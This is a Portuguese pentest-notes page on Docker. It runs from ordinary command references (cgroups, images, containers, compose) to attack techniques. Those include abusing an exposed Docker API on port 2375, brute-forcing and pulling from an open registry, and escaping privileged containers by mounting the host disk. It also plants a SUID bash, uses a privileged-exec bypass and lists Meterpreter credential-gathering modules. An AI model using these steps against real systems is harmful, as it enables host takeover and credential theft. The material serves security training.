# Docker

### Recursos de um Virtualizador

#### Cgroups

Cada container possui sua própria `Cgroups` (Control Groups ou Grupo de Controle). O Cgroups é responsável por controlar CPU, memória, rede e leitura/escrita de rede de cada container

Diretório onde ficam os recursos do Cgroups

```bash
/sys/fs/cgroup
```

Dentro de cada diretório (que representa um recurso), tem os subrecursos

Criando um Cgroups

```bash
cgcreate -g memory:<nome>
```

Listando todos os Cgroups

```bash
lscgroup
lscgroup | grep i docker
```

Definindo um valor pelo Cgroups. Os comandos são "repetidos", porque existe um bug, então deve-se executar os 3 comandos

```bash
cgset -r memory.memsw.limit_in_bytes=160M grupo_de_teste
cgset -r memory.limit_in_bytes=160M grupo_de_teste
cgset -r memory.memsw.limit_in_bytes=160M grupo_de_teste
```

Verificando o valor

```bash
cgget -r memory.limit_in_bytes grupo_de_teste
```

Deletando um Cgroups

```bash
cgdelete -g memory:grupo_de_teste
```

#### Namespace

Listando os Namespace

```bash
lsns
```

#### Rede

Criando rede Namespace

```bash
ip link add ens172 type dummy
ip netns add rede_teste
ip link set ens172 netns rede_teste
```

Listando redes Namespace

```bash
ip netns list
```

Executando comando em uma rede do Namespace

```bash
ip netns exec rede_teste ifconfig ens172 up
```

Acessando bash dentro do namespace de rede

```bash
ip netns exec rede_teste bash
```

###

### Instalação e Configuração do Docker

#### Instalando

```bash
https://docs.docker.com/install/linux/docker-ce/ubuntu/
```

#### Adicionando o usuário no grupo:

```bash
sudo groupadd docker
sudo usermod -aG docker $USER
```

**OBS.:** Depois que instalado, faça logout no sistema

### Informações Básicas

Versão do Docker

```bash
docker version
```

Informações detalhadas do Docker

```bash
docker info
```

####

#### Executando Hello World

```bash
docker run hello-world
```

###

### Imagens

Imagens no mundo Docker, são como templates que servirão de base para executar um container.

#### Procurando por uma Imagem

```bash
docker search <image>
```

#### Baixando um Imagem

```bash
docker pull <image>
```

#### Listando Todas as Images

```bash
docker images
```

#### Removendo Todas as Images

```bash
docker rmi $(docker images -a -q)
```

#### Remove todas as imagens que não estão "tagiadas" (possuem TAG).

Utilize `docker images` para ver as imagens que estão "tagiadas"

```bash
docker system prune
```

###

### Containers

O Container é uma instância de uma Imagem em execução naquele momento, que pode ter status como `start` e `stop`, e pode ser destruída e gerada rapidamente a qualquer momento.

#### Verificando Somente os Containers que estão em execução

```bash
docker ps
```

#### Verificando Todos os Containers

Diferentemente do comando acima, este exibe também os Containers que estão em Stop.

```bash
docker ps -a
```

#### Listando Somente o ID dos Containers em Execução

```bash
docker ps -q
```

#### Listando o ID de dos Todos os Containers

```bash
docker ps -q
```

#### Executando um Container a Partir de um Imagem

O parâmetro `--rm` irá excluir o container (caso já exista).

```bash
docker run -d --rm --name <new_name_container> <image> -v <local_directory>:<container_directory>
```

{% hint style="info" %}
**DICA.:** Pode-se utilizar `--mount` no lugar de `-v`, pois ambos tem o mesmo efeito. Porém o `--mount` tem uma saída mais detalhada (verbose) e para utilizar services, somente `--mount` é suportado
{% endhint %}

#### Criando um Container e Interagindo com o /bin/bash

```bash
docker run -it ubuntu
```

As vezes pode ser necessário chamar o nome da imagem, seguido da sua versão (TAG). Execute `docker images` para ver a versão. Um exemplo do comando anterior utilizando a versão, seria como no exemplo abaixo:

```bash
docker run -it ubuntu:18.04
```

#### Criando um Container e Executando um Comando

```bash
docker run ubuntu ls -lha
```

#### Inicializa um Container a partir de uma Imagem sem deixar o Terminal preso

Por padrão, o Docker irá deixar seu terminal preso, por isso deve utilizar a opção `-d` (detached), para oculte a sua saída e deixe o terminal livre para utilizar em outro propósitos.

```bash
docker run -d <image>
```

#### Acessando Portas (aleatórias) de um Container externamente

Isso serve para utilizar a porta do Container como se fosse localmente.

```bash
docker run -d -P <image>
```

#### Definindo Portas do Container Externamente

Diferente da opção `-P`, este permite escolher qual porta iremos acessar via localhost.

```bash
docker run -d -p <port_localhost>:<port_container> <image>
```

#### Verificando Portas de Determinado Container

```bash
docker port <container_id>
```

#### Definindo o Diretório onde irá executar determinado Comando

```bash
docker run -w "/var" ubuntu ls -lha
```

#### Definindo Variáveis de Ambiente

Note que pode repetir o parâmetro `-e` quantas vezes for necessário.

```bash
docker run -d -e MYVAR="valor" -e MYVAR2="valor2" <image>
```

#### Startando um Container

```bash
docker start <id_container>
```

#### Startando um Container que já foi finalizado, porém deixando o Terminal em Modo Interativo

```bash
docker start -a -i <container_id>
```

#### Parando Container de Forma Mais Rápida

Por padrão o docker demora 10 segundos para parar um serviço

```bash
docker stop -t 0 <container_id>
```

#### Parando Todos os Containers

```bash
docker stop -t 0 $(docker ps -q)
```

#### Executa determinado Comando em um Container que já está sendo Executado

```bash
# i = Interativo
# -t = Terminal
docker exec -it <container> <command>
```

#### Parando (Stop) um Container e Removendo ao Mesmo Tempo

```bash
docker rm -f <container_id>
```

###

### Volume

#### Criando um Volume

```bash
docker volume create <name_volume>
```

#### Deletando um Volume

```bash
docker volume rm <name_volume>
```

#### Listando Todos os Volumes

```bash
docker volume ls
```

#### Inspecionando Volume

```bash
docker volume inspect <name_volume>
```

#### Verificando Montagens (volume) de um Container

```bash
docker inspect -f {{.Mounts}} <id_container>
```

###

### Network

Ao criar uma rede própria (Network), podemos fazer com que um container se comunique com outros containers através do hostname

#### Criando uma Network

```bash
docker network create --driver bridge <nome_da_rede>
```

#### Listando as Networks

```bash
docker network ls
```

#### Criando um Container em uma Network

```bash
docker run -it --name <name_container> --network <nome-rede> ubuntu
```

#### Inspeciona Determinada Network

Útil para ver quais containers estão conectadas na rede

```bash
docker network inspect <name_network>
```

#### Removendo uma Network

```bash
docker network rm <netwok_id>
```

### Dockerfile

#### Buildando

Caso o seu arquivo chame exatamente `Dockerfile`, não é preciso passar o parâmetro `-f`. Se atente também no ponto que está no final do comando

```bash
docker build -f <file> -t <image> .
```

###

### Docker Compose

#### Executando o docker-compose.yml

Utilize a opçao `-d` para jogar o processo em background e não ficar com o terminal preso. Utilize o parâmetro `-f` para especificar o arquivo de configuração ou deixa em branco para ficar como default, onde o irá ser procurado um arquivo chamado `docker-compose.yml` no diretório atual.

```bash
docker-compose up
docker-compose up -d
docker-compose -f <file.yml> up -d
```

#### Listando os Serviços do docker-compose

```bash
docker-compose ps
```

#### Parando (Stop) e Removendo Todos os Containers do docker-compose

```bash
docker-compose down
```

#### Reiniciando os Containers do docker-compose

```bash
docker-compose -f <file.yml> restart
```

### Verificando se Está em um Docker

Assim que conseguir uma Reverse Shell ou termos qualquer tipo de acesso/interação, é importando analisarmos se estamos lidando com um Docker. Podemos fazer isso das seguintes maneiras:

* Veja se existe o arquivo `/.dockerenv`
* Verifique o hostname, que geralmente tem código (Container ID) no nome
* Execute `ps -eaf` e verifique os processos. Geralmente Docker tem uma quantidade reduzida de processos
* Veja se no início do `phpinfo.php` o nome da máquina é algo como "Linux 23d24ff620b3 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86\_64"

### Gerenciando Containers sem o Docker Client

#### CTR

Ferramenta substituda do `docker`, que também permite realizar diversas operações com containers

Listando todos as imagens

```bash
ctr image ls
```

Listando todos os containers

```bash
ctr container ls
```

Iniciando um container. Note que o nome da imagem está no padrão da saída do primeiro comando do `ctr`, então o `alpine:latest`, seria o equivalente a `docker.io/library/alpine:latest`.

```bash
ctr run --rm --mount type=bind,src=/,dst=/,options=rbind:rw <image> <nome> sh -c "bash"
```

#### RUNC

Primeiro vamos criar nosso arquivo `config.json` no diretório atual, através do comando:

```bash
runc spec
```

Edite o arquivo `config.json`, e no nó `root`, mude o valor de `readonly` para `false`. E logo abaixo no nó `mounts`, crie uma chave nova em `mounts[0]`, com o seguinte valor:

```bash
"type": "bind",
"source": "/",
"destination": "/",
"options": ["rbind", "rw"]
```

Crie o diretório `rootfs`

```bash
mkdir rootfs
```

Agora execute o runc

```bash
runc run mysther
```

### Docker Socket

Caso a porta 2375 esteja aberta, é possível acessar o docker do host. Não existe mecanismo de segurança eficaz para isso (não é possível colocar senha), então o melhor é deixá-lo em um servidor privado, pois caso esteja exposto, qualquer pessoa poderá acessá-lo.

```bash
export DOCKER_HOST=tcp://<ip>:2375
docker ps
```

### Docker Registry

Um Docker Registry é utilizado para armazenar e compartilhar imagens docker. Geralmente o Docker Registry público possui uma segurança boa, como por exemplo Docker Hub, porém o Registry Privado não, pois depende da própria segurança da empresa.

Geralmente no NMAP, iremos encontrar uma saída do tipo

```bash
5000/tcp open  http    Docker Registry (API: 2.0)
```

Verificando todas os repositórios

```bash
curl http://<ip>:5000/v2/_catalog
```

O comando acima só é possível quando o Registry está desprotegido por senha. Caso precise de senha, utilize o HTTP HEAD para ver o tipo de autenticação e depois realize um ataque de Brute Force. Para o exemplo abaixo, a saída no HEAD deve ser `www-authenticate: Basic realm="Registry Realm"`

```bash
hydra -l <user> -P <wordlist> <ip> -s 5000 https-get /v2/
```

Para verificar se as credenciais estão corretas, utilize o comando abaixo:

```bash
curl -sku '<user>:<pass>' https://<ip>:5000/v2/_catalog | jq
```

Pegando as tags dos repositórios

```bash
curl http://<ip>:5000/v2/<name>/tags/list
```

Recupera o manifest identificado pelo nome e referência, onde a referência pode ser uma tag ou digest. Também é possível realizar uma solicitação via HEAD para receber detalhes do Header Response

```bash
curl -s http://<ip>:5000/v2/<name>/manifests/<tag> | jq
```

Com a saída do comando acima, vá em `fsLayers` e selecione um dos (ou todos) valores de `blobSum`, de cima para baixo (geralmente com o padrão `sha256:<hash>`). Feito isso, execute o comando abaixo para baixar os arquivos do container. Geralmente vamos ter 3 ou mais Blobs, sendo o primeiro (de baixo pra cima), a `Base` que são os arquivos do SO, o segundo que contém os `Metadatas` e o(s) último(s) que será o `Diferencial`, ou seja, os arquivos que foram modificados.

```bash
curl -so <output.tar> http://<ip>:5000/v2/<name>/blobs/<sha254:hash>
tar -xvf <output.tar>
```

#### Automatizando o Download de Arquivos

```bash
for x in $(curl -s http://<ip>:5000/v2/<name>/manifests/latest | jq | grep -i sha256 | cut -d '"' -f 4) ; do curl -so $(echo $x | cut -d":" -f2).tar "http://<ip>:5000/v2/<name>/blobs/$x" ; tar -xvf $(echo $x | cut -d":" -f2).tar ;  done
```

#### Iniciando um Registro Local

```bash
docker container start registry
```

### Escapando do Container Docker

#### Capsh

Mostra todos os Capabilities que o Container está executando. Se tiver muitas Capabilities, provavelmente está com um Container Privilegiado, o que é um vetor de ataque. Verifique se a Capability `cap_sys_admin` está ativa, e se positivo, podemos sair do Docker e acessar o host hospedeiro.

```bash
capsh --print
```

Execute então os comandos abaixo e verifique:

* `df -h` = Exibe o `overlay` apontando para o `/`
* `fdisk -l` = Exibe o /dev/sda1

Caso positivo, poedmos acessar os arquivos da máquina hospedeira, então execute:

```bash
mount /dev/sda1 /mnt
cd /mnt
ls
```

Após entrar no `/mnt`, execute os comandos abaixo para acessar comandos no SO hospedeiro (dependendo do cenário, pode ou não funcionar).

```bash
chroot .
```

Caso não funcione a execução de comandos no SO, não se preocupe, pois você ainda tem acesso aos arquivos do sistema. Então basta inserir um novo usuário com privilégios root no host hospedeiro e depois acessá-lo de alguma forma, como por exemplo, via SSH

#### API Docker

Bypass para montar Container com Volume. Primeiro pegue a versão da API (por exemplo 1.41)

```bash
docker version | grep 'API version'
```

Agora crie um container com o volume criado

```bash
curl -s http://<ip>:2375/<api-version>/containers/create -H 'Content-type: Application/json' -d '{"Image": "<image>", "Binds": ["/:/mysther"], "Tty": true, "OpenStdin": true}' | jq
```

Inicie e acesse o container

```bash
docker start <container_id>
docker exec -it <container_id> bash
```

Entre no diretório e enjaule

```bash
cd /mysther/
chroot . 
```

Deixe o bash com SUID Bit ativo

```bash
cp /bin/bash /tmp
chmod u+s /tmp/bash
```

Saio do Docker e volte para a máquina principal (usuário comum do SO) e faça o PrivEsc

```bash
exit
exit
/tmp/bash -p
```

### Meterpreter

Caso tenha comprometido um host e esteja com o Meterpreter, utilize os posts abaixo para verificar se o alvo usa docker e então pegar suas credenciais.

```bash
# Verificando se o alvo utiliza Docker
post/linux/gather/checkcontainer

# Pegando credenciais
post/multi/gather/docker_creds
```

### Criando Container Privilegiado com Bypass

#### Privileged Bypass

Útil em casos onde temos acesso ao comando docker, porém não podemos criar containers priviligiados (`--privileged`).Utilize a maneira abaixo para realizar bypass

```bash
docker run -dit --security-opt "seccomp=unconfined" --name pwn ubuntu
docker exec -it --privileged pwn bash
```

### Forense

#### Container Diff

Ferramenta desenvolvida pelo Google para analisar imagens Docker, tanto local quanto remoto.

Instalando

```bash
curl -sLO https://storage.googleapis.com/container-diff/latest/container-diff-linux-amd64
mkdir -p "/opt/bin" && export PATH="$PATH:/opt/bin"
install container-diff-linux-amd64 /opt/bin/container-diff
ln -s /opt/bin/container-diff /bin/container-diff
```

Salvando uma imagem em seu estado atual em arquivo tar

```bash
docker image save -o <file.tar> <image>
```

Verificando histórico de modificações de uma imagem

```bash
container-diff analyze -t history <file.tar>
```

Verificando pacotes adicionados

```bash
container-diff analyze -t apt <file.tar>
container-diff analyze -t aptlayer <file.tar>
```

#### Docker Diff

Vendo alterações realizadas depois que o container foi montado. Verifique se arquivos sensíveis como `/etc/shadow` foi alterados, pois isso pode ser indício de um ataque. Na saída podemos ver que as alinhas começam com `C` (Created), ~~D~~ (Deteled) e `A` (Altered)

```bash
docker diff <container-id>
```

Caso encontre arquivos suspeitos e queira analisar melhor, utilize o comando abaixo para baixá-los. Como exemplo, iremos utilizar o `/etc/shadow`

```bash
docker cp <container-id-suspeito>:/etc/shadow shadow_suspeito
```

Crie um novo container com o arquivo original

```bash
docker run -d --name <image-original> <image>
```

Copie o arquivo original para a máquina local

```bash
docker cp <container-id-original>:/etc/shadow shadow_original
```

Agora verifique a diferença entre esses arquivos (o que foi modificado e o original)

```bash
diff shadow_suspeito shadow_original
```

#### CRIU (Checkpoint and Restore In Userspace)

Ferramenta que permite criar pontos de restauração de Conatainers

Instalando

```bash
sudo apt install criu
```

### Sites

```bash
# Reverse Shell em Conatiners
https://github.com/PinkP4nther/Pinkit
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/infra/docker.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
